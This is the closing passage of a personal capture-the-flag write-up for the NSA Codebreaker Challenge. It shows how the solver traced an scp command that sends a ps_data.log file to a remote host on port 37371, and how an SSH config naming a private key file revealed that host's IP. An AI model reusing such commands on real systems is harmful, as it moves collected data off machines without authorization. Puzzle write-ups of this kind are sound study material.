scp -P 37371 ~/ps_data.log nexthop:
|
ps_data.log
is sent to nexthop
with port 37371
.
Read /home/psuser/.ssh/config
, and we can get the IP of nexthop is 198.18.203.107
.
1
2
3
4
|
Host nexthop
Hostname: 198.18.203.107
User: user
IdentityFile: /home/psuser/.ssh/id_rsa
|
The answer is 198.18.203.107
with port 37371
.
And we can get a “Well done.”
Conclusion
It is my first time playing NSA Codebreaker Challenge. It’s a really great event. I learned a lot from it, especially for creating custom protocols to communicate with the LP. I have never done that kind of thing before.
Also, I’m looking forward to the Medallion for solvers as well 😋 (I’ll post it here when I get it)
I’ll definitely play again next year. Let’s go!! 🔥